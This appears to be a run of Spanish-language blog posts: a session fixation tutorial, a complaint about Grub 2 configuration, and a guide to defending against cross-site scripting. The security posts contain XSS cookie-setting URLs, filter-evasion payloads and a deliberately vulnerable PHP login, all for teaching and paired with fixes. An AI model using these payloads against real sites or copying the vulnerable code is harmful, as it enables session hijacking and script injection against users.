Te inpongo el ID con Session Fixation!
Como pueden observar en mi artículo sobre Cross-Site Scripting, robar una sesión (robo de cookies) es relativamente sencillo si la página es vulnerable. A través de un ejemplo les mostré cómo es posible obtener un ID de sesión de un usuario autenticado, robando la cookie de la página. Si bien olvidé mencionarlo en ese artículo, el ataque se conoce como session hijacking. Hoy les traigo un ataque similar, pero llevado a cabo antes de que el usuario víctima se autentique en la página vulnerable.

En un sistema con sesiones, cuando un usuario abre una página, el browser busca alguna cookie relacionada y la envía (si es que encuentra alguna) al server. En el caso que el usuario no envíe cookie alguna, el servidor le indicará al browser que setee una dada cookie con el valor del ID de sesión. Este ID de sesión será utilizado por el servidor para reconocer al usuario en accesos futuros. Los IDs de sesión son números de varios bytes creados al azar, de forma que otro usuario no pueda adivinarlos. Que estos números sean realmente aleatorios es de extrema necesidad para que otro usuario no pueda hacerse pasar por el actual.


Descripción del ataque

El session fixation trata sobre forzar a un usuario a utilizar un ID de sesión enviado por el atacante. Dado que un atacante no podría (en un sistema con IDs realmente aleatorios) adivinar el ID de sesión, éste (el atacante) obtiene un ID de sesión y luego "convence" a otro usuario para que utilice el mismo. De esta forma, el atacante no necesita adivinar el ID que utiliza el otro usuario, porque fue él el que lo envió.

El ataque funciona de la siguiente manera:
1) el atacante accede al sistema de login del site www.ejemplo.com y el server de éste crea un ID de sesión, el cual se lo comunica al atacante.
2) el atacante "convence" a un usuario del site www.ejemplo.com para que utilice el ID obtenido en el paso anterior.
3) la víctima accede a www.ejemplo.com utilizando el ID indicado por el atacante y se autentica en el site.
4) una vez que la víctima se autenticó, el atacante accede a www.ejemplo.com con el susodicho ID y estará autenticado como el usuario víctima gracias al paso anterior.

Como se darán cuenta a partir de la explicación, el nombre session fixation proviene del hecho que la víctima utiliza el ID de sesión fijado por el atacante.

Para demostrar el ataque, reutilicemos el sistema de login que mostré en el artículo de XSS:

<?php session_start(); ?>
buscar:
<FORM METHOD="GET" ACTION="">
<INPUT TYPE="TEXT" SIZE="30" NAME="search" />
<INPUT TYPE="SUBMIT" VALUE="ingresar" />
</FORM>
<?php if(isset($_GET['search'])) print "resultados con la palabra <B>".$_GET['search']."</B><BR><BR>" ?>
<?php
if(isset($_POST['logout']))
{
session_destroy();
unset($_SESSION['user']);
}
function printform()
{
echo '<FORM ACTION="" METHOD="POST">
user: <INPUT NAME="user" TYPE="TEXT" SIZE="20" /><BR>
pass: <INPUT NAME="pass" TYPE="PASSWORD" SIZE="20" /><BR>
<INPUT TYPE="SUBMIT" VALUE="login" />
</FORM>';
}
function printhello()
{
print "hola usuario: ".$_SESSION['user'];
print '<FORM ACTION="" METHOD="POST"><INPUT NAME="logout" TYPE="SUBMIT" VALUE="logout" /></FORM>';
}

if(!isset($_SESSION['user']))
{
if(isset($_POST['user']) && isset($_POST['pass']))
{
if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))
{
$_SESSION['user'] = "demasiadovivo";
printhello();
}
else
{
echo "el usuario ".$_POST['user']." no existe";
printform();
}
}
else
printform();
}
else
{
printhello();
}
?>


Si leyeron el artículo, recordarán que el sistema simplemente tiene un input de texto para buscar palabras (con vulnerabilidad XSS) y un sistema de login básico, donde el usuario es demasiadovivo y el pass es 123456. Supongamos que este programa se encuentra en http://www.ejemplo.com/buscador.php. Lo que el atacante haría es ingresar a http://www.ejemplo.com/buscador.php y obtener el ID de sesión (podríamos usar el plug-in Tamper Data para Firefox, o bien ejecutar javascript:alert(document.cookie); en la barra de direcciones del browser). Asumamos que el ID obtenido es 1234 (uno real sería muchísimo más largo, pero mantengamos el ejemplo simple).
Ahora, el atacante arma una URL aprovechando la vulnerabilidad XSS del buscador con el siguiente contenido: http://www.ejemplo.com/buscador.php?search=<SCRIPT>document.cookie="PHPSESSID=1234";</SCRIPT> y se la envía al usuario víctima. Como pueden observar en la URL, ésta utiliza un javascript para setear la cookie con el valor PHPSESSID=1234. PHPSESSID es el nombre de la variable de sesión de PHP.
Si el usuario ingresa al link enviado por el atacante, su cookie se seteará al valor indicado. Luego, si el usuario se autentica, el atacante podrá acceder al site como si fuera el usuario, utilizando el valor 1234 como ID.
Con este ataque no necesitamos robar el ID de sesión, directamente lo generamos nosotros y hacemos que la víctima lo use.


Ya sabía hacer esto de otra forma...

Si ya entienden de XSS, probablemente se están preguntando: por qué no inyectar un script que directamente robe el ID de sesión?... bueno, es una pregunta muy razonable. Si bien el robo de cookies es más directo, este método nos permite obtener los mismos resultados pero de otra forma.
Session fixation es uno de los tantos ataques que se pueden realizar utilizando XSS (aunque no depende exclusivamente de éste) y vale la pena tenerlo en cuenta. Habrá casos en los que el robo de cookies utilizando otros ataques puede complicarse y se podría llevar a cabo utilizando este último.


Formas de lograr un session fixation

Además del ejemplo donde inyectamos el script <SCRIPT>document.cookie="PHPSESSID=1234";</SCRIPT> en la página, podemos realizar este ataque de otras formas:


Cookies de dominio

Si el atacante tiene un site hospedado en el mismo dominio que la página afectada, es posible utilizar cookies de dominio. Las cookies de dominio son cookies donde su atributo dominio se expande a todo un dado dominio (por ejemplo: ".ejemplo.com"). Es decir, el browser envía la misma cookie para cualquier site hospedado en el mismo dominio.
Supongamos que el atacante administra el site malo.ejemplo.com o bien detectó una vulnerabilidad XSS en éste y quiere hacer un session fixation sobre www.ejemplo.com. Lo primero que hará es insertar el código <script>document.cookie="PHPSESSID=1234;domain=.ejemplo.com";</script> dentro de malo.ejemplo.com (recuerden, se puede hacer utilizando XSS) e incitará al usuario para que acceda a dicha página. Una vez que el usuario accede, el browser aceptará la cookie y la almacenará para accesos futuros. Si luego el mismo usuario accede a www.ejemplo.com (o cualquier dominio dentro de .ejemplo.com), el browser enviará la misma cookie obtenida de malo.ejemplo.com, debido a que ésta es una cookie de dominio.


Usando el tag <META>

El tag <META> permite insertar parámetros HTTP dentro del código HTML y si bien deberían estar ubicados en al sección HEAD del HTML, distintos browsers aceptan incluirlos en cualquier lugar. Si logramos inyectar el código <meta http-equiv=Set-Cookie content="PHPSESSID=1234"> dentro de la página que deseamos acceder, lograríamos un session fixation.
Es claro que éste ataque depende de encontrar una vulnerabilidad XSS en la página, pero nos habilita un tag distinto de inyección en el caso que tags como <script> o <img> estén filtrados por el servidor.


Prevención?

Este ataque es fácil de prevenir, sólo es cuestión de generar nuevos IDs de sesión para distintos clientes. El programa del lado del servidor nunca debería usar IDs entregados por el browser para un usuario logueado, esto es, una vez que el usuario se loguea en el sistema, éste debería generar automáticamente un nuevo ID de sesión y utilizar éste en el futuro.

El problema en el ejemplo que mostré anteriormente se podría prevenir fácilmente utilizando el siguiente código para el login:

if(($_POST['user'] == "demasiadovivo") && ($_POST['pass'] == "123456"))
{
session_regenerate_id();
$_SESSION['user'] = "demasiadovivo";
}


La función session_regenerate_id() crea un nuevo ID de sesión. De ésta forma, por más que hayamos usado un ID insertado por el atacante antes de loguearnos, una vez logueados utilizaremos un ID totalmente distinto y desconocido por el atacante.

Referencias

- Session Fixation Vulnerability in Web-based Applications
- Session Fixation (wiki)
- PHP Security Guide: Sessions
Grub 2 - descansa en paz menu.lst...
Ayer me tope con algo muy molesto... como siempre tengo mi debian en una partición y tenía mint en otra, donde lo instalé para probarlo hace un par de años y ahí quedó. El tema es que con el grub del mint reemplacé al de debian en su momento... hasta acá todo bien. Pero ayer necesitaba espacio (ya contaré la anécdota) y borré el mint, así que instalé grub en debian nuevamente. Reinicio y me topo con muchas opciones para elegir, y la configuración no era la del grub que tenía en debian... Una vez iniciado debian, reviso el menu.lst y estaba todo como lo había dejado, entonces, de donde mierd* estaba tomando la configuración nueva???

Después de pelear un rato y buscar algún otro menu.lst, me decidí a buscar un poco en google sobre la versión de grub que tenía instalada. En algún upgrade parece que se instaló Grub 2 (1.97 beta), y como no lo usaba, no me había dado cuenta... hasta ayer.

Para mi gran sorpresa, Grub 2 no utiliza más el viejo (y ya querido, al menos por mi) menu.lst para la configuración. Aquel archivo, al que ya estaba muy acostumbrado, dejó su lugar para que lo tome uno nuevo, el grub.cfg. El problema es que este grub.cfg no es para nada intuitivo como lo era el anterior, sino que toma el formato de script y no de archivo de configuración. Incluso no está pensado para que lo modifiquen a mano, sino que toma su configuración a partir de otros scripts ubicados en /etc/grub.d: 00_header, 10_linux, 30_os-prober, etc

La idea es que el usuario simplemente ejecute:
# update-grub (o en versiones más actuales grub-mkconfig)
Este comando ejecuta los scripts que están en /etc/grub.d/ en el orden indicado por el número con el que inician sus nombres (osea, primero 00_header, después 10_linux, luego 30_os-prober, etc), también toma valores de /etc/default/grub. La idea es que, en lugar de tocar grub.cfg, toquemos los scripts de /etc/grub.d y el tal /etc/default/grub... el problema es que estos scripts no son intuitivos como el viejo menu.lst. Antes, una persona sin idea de scripting o programación, podía tocar el menu.lst y aprender a usarlo, ahora con estos scripts lo veo más difícil, e incluso intimidante para alguien que no maneja estas cosas.

Es verdad que existen programas como startupmanager, que nos permiten configurar algunas opciones de grub, pero no es para nada flexible en cuanto a las opciones que permite. En mi caso particular, quería borrar todas las entradas con kernels viejos, para que no me liste 15 kernels que no uso... pero esto no lo puedo hacer con startupmanager, es más, tendría que reescribir bastante la funcionalidad de 10_linux para que no los liste... en realidad no hay forma. 10_linux revisa el directorio /boot/ y lista todos los kernels que encuentra... para algunos está perfecto, pero yo no quiero eso. Así que no me quedó otra que borrar a mano del grub.cfg los kernels viejos. Pero resulta que cualquier actualización de grub, o cualquier cosa que quiera tocar, hará que los scripts me sobreescriban el grub.cfg, volviendo a colocar los kernels viejos...

Si bien me parece perfecto que se hagan cambios pensando en funcionalidad, creo que en este caso le pifiaron, o al menos deberían dar la opción de elegir si seguir con el viejo menu.lst o usar el formato nuevo con scripts. Es verdad que puedo volver a instalar Grub 1, pero estaría bueno avanzar...

En fin, la idea del post es advertirles/informarles acerca del funcionamiento de Grub 2, porque yo la verdad no conocía los cambios que habían incorporado, ni como funcionaba.

En las páginas: Instalar Grub2 en Debian y Grub 2 (1.97~beta4-1ubuntu4) pueden encontrar información sobre instalación y configuración de Grub 2. Una de las buenas es que podemos usar como fondo imágenes .png, eso sí, para cambiar el la imagen deberán meter mano a un archivo similar a /etc/grub.d/05_debian_theme...
Combatiendo el Cross Site Scripting
Luego de ver los diferentes tipos de ataques utilizando XSS y convencerlos (espero) de que es extremadamente peligroso cuando es explotado por alguien que sabe, es hora de dar algunas recomendaciones para evitar al máximo este tipo de ataques.
En un principio pensaba dar recomendaciones de programador, pero también es interesante la parte de como defendernos siendo usuarios finales de una página, dado que no podemos confiar en la mayoría de los "programadores" que andan dando vueltas, porque no conocen ni medio de seguridad (es una lástima, pero es así). Arranquemos así con lo que podemos hacer desde nuestra posición de usuarios web.


Trust no one

Nunca mejor aplicada esta frase de X-Files, cuando se trata de navegar por la Web, no podemos confiar en nadie, ni siquiera en nuestros amigos. Por esto, lo mejor es estar prevenidos y tener en cuenta algunos consejos para no ser víctimas del XSS. Estos consejos se aplican a ataques en general, aunque en me esté focalizando en XSS.

El primer paso a dar es utilizar un browser decente. La mayoría de la gente sigue utilizando damn vulnerable Internet Explorer, incluso versiones extremadamente vulnerables como la 6 que no proveen mucha ayuda al pobre navegante. Es verdad que Microsoft ha mejorado mucho con su browser en los últimos años, no leo sobre muchos exploits para la versión 8, pero las versiones 6 y 7 siguen siendo grandes víctimas y tienen gran presencia en la web. Por supuesto que no sólo IE es un gran problema, todos los browsers cuentan con su lista negra de errores, las versiones 1 y 2 de Firefox no ayudan mucho en cuanto a prevenir XSS. Por supuesto que Opera, Safari y Chrome también arrastran sus problemas.
Mi elección es utilizar Firefox 3+ con algunos complementos que nos ayuden a distinguir XSS. Chrome tiene un gran futuro, pero creo que todavía está bastante verde.

Los agregados pueden darnos una buena mano para prevenir ataques. NoScript para Firefox es un excelente ejemplo. Este agregado bloquea contenido JavaScript, Flash, Java y otros, permitiéndonos elegir qué páginas tienen permitido ejecutar qué. Además reconoce diferentes ataques y los bloquea, reportándolos al usuario. Internet Explorer 8 cuenta con filtros XSS que intentan acercarse a la funcionalidad de NoScript, aunque por ahora parecen estar basados solamente en listas negras con ataques conocidos.
Otro add-on interesante es Netcraft Anti-Phishing Toolbar disponible para Firefox e Internet Explorer que nos permite identificar sites que intentan robarnos información. Actualmente tanto Firefox como IE incorporaron una funcionalidad muy similar, así que tal vez no es tan útil como hace un tiempo.

El siguiente paso sería desactivar toda feature que no utilicemos. Existen múltiples formas de ejecutar ataques a través de tecnologías que muchas veces no utilizamos. Entre las más conocidas podemos encontrar JavaScript, ActiveX, Flash, Java, etc. La regla del pulgar nos dice, si no lo usamos, desactivemoslo. Es verdad que muchas páginas pueden no funcionar, pero al menos deberíamos poder bloquear selectivamente por página. NoScript nos da una gran mano para realizar esta tarea.

No clickear a lo tonto en todo lo que nos mandan. El comportamiento por defecto debería ser, desconfiar de todo link recibido por mail, foro, blog, red social, etc. Si la URL es muy larga, ya es algo muy sospechoso, y si incluye las palabras script o hacen referencia a algún script, es algo mucho más sospechoso. También son sospechosas las direcciones codificadas usando url, decimal o hexa encoding.
Tampoco deberíamos seguir links codificados con tinyurl o algún otro servicio de acortamiento de urls. Estos links podrían llevarnos a cualquier lado sin que nos enteremos. Existen algunos sites que nos permiten decodificar estas URLs pequeñas y ver de qué tratan realmente. Algunos ejemplos son http://longurl.org/ o http://kiserai.net/turl.pl


Programación Web Segura

Luego de tirar algunos consejos sobre cómo actuar al navegar por la red, nos metemos con la programación Web segura o "lo que diferencia un buen programador de uno mediocre". Si bien en un principio parece fácil solucionar este problema, existen más vueltas de las que uno se imagina. Por suerte, como cité en el primer artículo, existen algunas páginas con ejemplos para probar e imaginarnos cómo un atacante puede "encontrarle la vuelta" y vulnerar nuestro site.

El principio básico para evitar el XSS es el bien conocido "validar la entrada y filtrar la salida". Este principio que se aplica a todos los problemas de programación se usa poco y sin embargo nos salva de mucho. En el caso del XSS puede elegirse "validar la entrada" o bien "filtrar la salida", cada uno con sus ventajas y desventajas. Validar la entrada implica revisar todo lo ingresado por el usuario, mientras que filtrar la salida implica revisar sólo lo que se expone en la página, osea, si no todo se expone en la página, solo se debe filtrar una parte de todo lo ingresado. El problema con filtrar la salida es que quedan almacenados datos mal formados en bases de datos o archivos, algo que puede afectarnos si va cambiando la política de filtrado en la programación, pero los datos quedan intactos en los servers.
El consenso general es validar la entrada y evitarnos problemas futuros, además, filtrar la salida implica analizar los datos cada vez que se van a mostrar, mientras que validarlos a la entrada hace que el trabajo se realice una sola vez.
La mayor ventaja del filtrado de salida es que en esta etapa se sabe dónde se van a incluir los datos, es decir, no es lo mismo incluir los datos en el HTML que en una porción de código JavaScript, el tipo de filtrado puede cambiar en ambos casos. Por otro lado, qué sucede si el sistema que valida la entrada tiene un agujero en la validación y permite que algunos ataques pasen? una vez que los datos se almacenaron, quedan ahí... por más que parchemos el validador, los datos que ya pasaron seguirán estando y el ataque persistirá. Si por el contrario, usamos filtado de la salida y se descubre un bug en los filtros, una vez que lo parchamos, estamos salvados.

Leyendo todo esto, uno puede creer que lo mejor es implementar ambos controles, a la entrada y a la salida. Bueno, eso es cierto, sería ideal que el encargado de mostrar los datos no confíe para nada en los datos que tiene, y que el validador de la entrada haga su mejor esfuerzo pora que no pasen porquerías al almacenamiento. El problema, como siempre, es el agregado de procesamiento, algo que en un sistema con mucho tráfico nunca es deseado.

Una vez que tenemos decidido si validar la entrada o filtrar la salida, o ambos, debemos poner manos a la obra.


Escapando caracteres claves

Lo primero que viene a la mente cuando hablamos de inyección XSS es evitar los benditos delimitadores de tag "<" y ">", además de comillas simples y comillas dobles, que permiten ciertos trucos. Hay dos opciones para hacer esto, eliminamos estos caracteres o los codificamos de forma que el browser los interprete como texto. Existen varias formas de codificar estos caracteres para que el browser los interprete como texto y no como parte del HTML. Veamos cómo codificar los 5 caracteres más relevantes (llamados "big 5" en algunos lugares) y la barra hacia delante (usada para cerrar tags):

CaracterCodificacion HTMLCodificación HexaCodificación Decimal
&&amp;&#x26;&#38;
"&quot;&#x22;&#34;
'&apos;&#x27;&#39;
<&lt;&#x3c;&#60;
>&gt;&#x3e;&#62;
/&#x2F;&#47;

Esto quiere decir que si el usuario ingresa un >, nosotros deberíamos colocar un &gt; (o &#x26; o &#38;) en su lugar, para que no se interprete como código HTML. Por lo que he leído, algunas codificaciones en hexa o decimal pueden verse distintas en algunos browsers según la codificación de caracteres utilizada (UTF-8, ISO 8859-1, etc), así que recomendaría utilizar la codificación HTML.
Piensen ahora en alguno de los ejemplos anteriores, si antes el resultado de una inyección era:
Usuario: <B><SCRIPT>alert('XSS');</SCRIPT></B>
escapando los tags obtendremos:
Usuario: <B>&lt;SCRIPT&gt;alert(&apos;XSS&apos;);&lt;/SCRIPT&gt;</B>
Como se ve, el código actual no ejecutaría ningún alert, sino que mostraría el código en la pantalla (como debería ser).

En muchos lenguajes existen funciones implementadas para realizar el trabajo de cambiar un caracter por su equivalente HTML, o bien para eliminar estos caracteres. A continuación les dejo algunos ejemplos:

PHP
- htmlentities nos ayuda a codificar los caracteres citados (utilizar la opción ENT_QUOTES para codificar comillas simples también).
- strip_tags nos permite eliminar tags de un dado string.

ASP.NET
- HttpUtility.HtmlEncode nos da una mano codificando HTML.
- No encontré una función para eliminar tags, pero si una solución interesante en el foro http://forums.asp.net/t/901364.aspx:
System.Web.UI.HtmlControls.HtmlGenericControl htmlDiv = new System.Web.UI.HtmlControls.HtmlGenericControl("div");
htmlDiv.InnerHtml = htmlString;
String plainText = htmlDiv.InnerText;

- ASP también cuenta con un parámetro seteable en el Web.config (o incluso en Machine.config) que valida la entrada y nos arroja una excepción cada vez que un parámetro contiene entidades HTML. Este parámetro se llama validateRequest. Si está en false, no se valida nada, pero si está en true ASP hace su magia. Eso sí, después capturen la excepción, porque vi varios ejemplos donde la página arroja un error horrible que el usuario no debería ver...
Pueden leer un poco más sobre validateRequest en http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/learn/whitepapers/request-validation/

JSP
Al parecer a la gente de Sun no le resultó interesante incorporar una función para codificar caracteres especiales (ni para eliminar tags), así que Java no incluye entre sus librerías default una función que haga el trabajo. Por suerte en una entrada de la página de OWASP encontramos una función que haga el trabajo.

Como se pueden imaginar, si no contamos con funciones empaquetadas con el lenguaje (como el caso de java) siempre podemos construir nuestra función para codificar o eliminar tags. Eso si, hay que tener cuidado en la forma en que armamos expresiones regulares para eliminar tags, dado que algunas pueden no ser muy efectivas.


Escapando lo anterior estamos salvados?

Muchos autores han dicho (y muchos siguen diciendo) que si escapamos los "big 5" estamos a salvo del XSS... bueno, me apena decirles "WRONG!".
Dependiendo la situación en la que nos encontremos, no es estrictamente necesario utilizar los caracteres antes citados. En muchos casos nos basta con utilizar un event handler (manejador de eventos) como onClick, onError, onMouseOver, etc (existen casi 100 manejadores de eventos). Consideren un ejemplo donde el usuario decidió no cumplir con el estándar HTML y armó el siguiente código en php:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=<?php if(isset($_GET['user'])) print "<B>".$_GET['search']."</B>" ?> />

este es el clásico ejemplo del buscador (ja, ya parece nombre de ejemplo de libro de sistemas operativos). Como ven, el usuario no usó ninguna comilla, pero aún así, el código es válido para la mayoría de los browsers. Ahora, el usuario malo, podría ingresar lo siguiente en el campo de búsqueda: "nada onMouseOver=alert(String.fromCharCode(88,83,83))" (sin las comillas). El resultado HTML de la ejecución del código php será:
<INPUT TYPE=TEXT SIZE=30 NAME=search VALUE=nada onMouseOver=alert(String.fromCharCode(88,83,83)) />

ahora, cuando el usuario coloque el mouse sobre el campo de búsqueda, saltará el alert.
Observaron algo en el ejemplo? para el exploit no utilicé ninguno de los "big 5"!!! Tal vez se preguntan qué es la función String.fromCharCode. Esta función se encarga de obtener un caracter a partir del código ascii en decimal, el 88 representa la X y el 83 la S. De esta forma, no necesitamos incluir la comilla simple para el alert. Otra forma que también funciona es colocar "nada onMouseOver=alert(&quot;XSS&quot;)" donde usamos las comillas HTML codificadas.

Otro ejemplo es el de programadores totalmente kamikazes que se encargan de meter datos ingresados por un usuario en una función JavaScript! Si bien este código no debe estar necesariamente HTML escapeado, debería estar JavaScript escapado para no ejecutar código ingresado por el usuario. Un ejemplo rápido que se me ocurre, es el caso que queremos cambiar el color de una opción seleccionada por el usuario (tal vez un menú con varias opciones), por ejemplo:

<input type="button" id="home" value="home" onClick="window.location.href='test.php?opcion=home'" />
<input type="button" id="guest" value="guest" onClick="window.location.href='test.php?opcion=guest'" />
<?php echo $_GET['opcion']; ?>
<script>
var opcion = '<?php echo $_GET['opcion']; ?>';
if (opcion == "home")
{
document.getElementById('home').style.backgroundColor = "green";
document.getElementById('guest').style.backgroundColor = "red";
}
else if( opcion == "guest")
{
document.getElementById('home').style.backgroundColor = "red";
document.getElementById('guest').style.backgroundColor = "green";
}
</script>

El código anterior simplemente cambia el color de fondo del botón apretado, basándose en la opción seleccionada, la cual obtenemos de la URL. Ahora, que pasa si en la variable opción colocamos lo siguiente: "la'; alert('XSS'); //" el resultado en la variable anterior será:
var opcion = 'la'; alert('XSS'); //';
es decir, cerramos la asignación a la variable opción, luego ejecutamos un alert y comentamos el resto. Esto sin usar los delimitadores de tags, ni comillas dobles, ni ampersand, aunque sí comillas simples, pero si tenemos en cuenta que htmlentities por defecto no codifica comillas simples, podríamos correr riesgos aún usando esa función.
Vale aclarar que si tenemos habilitado el atributo magic_quotes de php, éste agregará back slash ("\") a las comillas y puede que el ejemplo no funcione. Igualmente existen formas para escapar los escapadores.


Y si quiero texto enriquecido?

Aca es donde empiezan los problemas mayores...
En muchos casos deseamos que el usuario pueda ingresar texto con formato, así que tal vez nos gustaría que puedan usar los tags <b> (negrita), <i> (cursiva), <a href> (links), <img> (imágenes), etc. Para este tipo de aplicaciones, no podemos utilizar una función que nos elimine todos los tags, sino que debemos hacer una eliminación/codificación selectiva...
Las cosas se pueden poner realmente feas dependiendo de lo que deseamos permitir. Recuerden que prácticamente ningún tag está a salvo de scripting, por ejemplo, en IE el código <B STYLE="xss:expression(alert('XSS'))"></B> les mostrará un alert...
Para arrancar, la política default debe ser: escapar/borrar todo tag a menos que esté explícitamente permitido (whitelist). Ahora, de los tags permitidos, debe hacerse un examen en busca de código potencialmente malicioso, o bien tener un formato predefinido de tag. Por ejemplo, si lo único que queremos permitir es el tag <B>, no deberíamos permitir cosas como <B STYLE="xss:expression(alert('XSS'))">. Hay que tener especial cuidado con el tag <IMG>, como pueden observar en la lista de RSnake, las cosas que se pueden hacer son muchas. Incluso armando expresiones regulares para buscar cosas como la palabra javascript en el código puede ser difícil. Por ejemplo, tal vez deseamos evitar que alguien ingrese lo siguiente:
<IMG SRC="javascript:alert('XSS');">
pero también deberemos escapar cosas como:
<IMG SRC="jav ascript:alert('XSS');">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
o cosas más oscuras como:
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

Los ejemplos anteriores funcionan solamente en IE 6 y Opera 9, pero hay que tener en cuenta la cantidad de usuarios (me animaría a decir millones?) que todavía utilizan IE 6...

Una buena recomendación es armar el texto resultante a partir de un formato fijo según lo ingresado por el usuario, y no dejar directamente lo que el usuario ingresó. Por ejemplo, si el formato de salida será <IMG SRC="http://algo">, no importa que el usuario ingrese <IMG SRC="http://algo" width="0" height="0" style="width:100px; height: 100px;" alt="">, el resultado será siempre <IMG SRC="http://algo">. También debería verificarse que el argumento SRC sea válido, esto es, que sea una referencia a una imagen y no un script.

Como se irán dando una idea, habilitar algunos tags trae varios dolores de cabeza. Por suerte existen algunas librerías creadas para tal fin. Una interesante es PHP Input Filter que ha sido premiada por su labor. Otros esfuerzos interesantes son el proyecto OWASP ESAPI que soporta los lenguajes Java, .NET, PHP, Classic ASP, Cold Fusion, Python, and Haskell, y AntiXSS para ASP.NET.


6 reglas de oro by OWASP

La OWASP nos provee 6 reglas (http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet) para evitar ataques del tipo XSS. El artículo trata el problema de forma general y no ofrese una solución concreta para un lenguaje en particular, de eso deberá encargarse el programador. Estas reglas están muy bien pensadas y cubren todo lo que he tratado hasta aquí, si es que se implementan correctamente... claro.
A continuación les traduzco los principios básicos de cada regla, para la información completa diríganse a la fuente original:


Regla #0 - Nunca insertar datos no confiables excepto en lugares permitidos

La regla cero nos dice, negar todo!, es decir, no colocar ningún dato ingresado por el usuario en el HTML a menos que esté incluído en alguna de las reglas #1 a #5. Esta regla sirve como complemento a todas las demás, es decir, si no está incluido en las otras reglas, entonces no lo incluyas en tu HTML!
<script>...NUNCA PONER DATOS NO CONFIABLES AQUI...</script> directamente en un script

<!--...NUNCA PONER DATOS NO CONFIABLES AQUI...--> dentro de un comentario HTML

<div ...NUNCA PONER DATOS NO CONFIABLES AQUI...=test /> en el nombre de un atributo

<...NUNCA PONER DATOS NO CONFIABLES AQUI... href="/test" /> en el tag de un nombre


Regla #1 - Escapear HTML antes de insertar datos no confiables en el contenido de un elemento HTML

Esta regla sirve para cuando queremos poner datos no confiables directamente en algún lugar del cuerpo HTML. Esto incluye dentro de todos los tags conocidos como div, p, b, td, etc.
<body>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</body>

<div>...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...</div>

aplicar para cualquier otro elemento HTML.

Para escapar los datos no confiables, aplicar lo que expliqué en la sección "Escapando caracteres claves".


Regla #2 - Escapear atributos antes de insertar datos no confiables en atributos HTML comunes

Esta regla se utiliza para colocar datos no confiables dentro de atributos como width, name, value, etc. Esto no debería usarse para atributos complejos como href, src, style, o cualquiera de los even handlers como onMouseOver. Es extremadamente importante que para los even handlers se siga la regla #3.
<div attr=...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>contenido</div> dentro de atributos sin comillas

<div attr='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'>contenido</div> dentro de atributos con comillas

<div attr="...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...">contenido</div> dentro de atributos con comillas dobles

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de salirse de los atributos (como el ejemplo citado en "Escapando lo anterior estamos salvados?").


Regla #3 - Escapear JavaScript antes de insertar datos no confiables en datos JavaScript

Como tercer regla tenemos la concerniente a los event handlers de JavaScript que pueden ser especificados en varios elementos HTML. El único lugar seguro para poner datos no confiables es dentro de comillas.
<script>alert('..ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...')</script> dentro de un string entre comillas

<script>x='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</script> a un lado de una expresión entre comillas

<div onmouseover='...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...'</div> dentro de un event handler entre comillas

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH (es decir, valor hexa) para evitar el problema de cambiar del contexto de datos al contexto script o en otro atributo. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #4 - Escapear CSS antes de insertar datos no confiables en propiedades HTML de estilo

Esta regla existe para los casos en que se desee colocar datos no confiables en una hoja de estilo o en un tag de estilo. Debido al poder de CSS para realizar ataques, es importante que sólo se coloquen datos no confiables dentro del valor de una propiedad y no en otros lugares de los datos de estilo. Sobre todo debe tenerse mucho cuidado de no colocar datos no confiables en propiedades como url, behaviour, y custom. Lo mismo se aplica a las expresiones de propiedad de IE, las cuales permiten JavaScript.
<style>selector { property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...; } </style> valor de propiedad

<span style=property : ...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...;>text</style> valor de propiedad

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. No utilizar escapeadores como la barra invertida porque los caracteres como las comillas serán reemplazados por su codificación HTML correspondiente.


Regla #5 - Escapear URL antes de insertar datos no confiables en atributos URL

La última regla de esta lista se utiliza para los casos en que deseamos colocar datos no confiables en un link que apunta a otro lugar. Esto incluye a los atributos href y src. Existen otros atributos de locación, pero no es recomendable colocar datos no confiables en ellos. Algo importante de remarcar es que resulta muy mala idea colocar datos no confiables en URLs javascript:, pero de ser necesario se puede utilizar la regla #3 para ello.
<a href=http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...>link</a > un link normal

<img src='http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI...' /> fuente de una imagen

<script src="http://...ESCAPEAR DATOS NO CONFIABLES ANTES DE COLOCARLOS AQUI..." /> archivo script

Excepto los caracteres alfanuméricos, escapar todo caracter con valores ASCII menores a 256, con el formato #xHH. Incluir datos no confiables en URLs data: no debería estar permitido, debido a que no hay una buena forma de deshabilitar ataques con escapeado para prevenir el salirse de la URL.


Fumata final

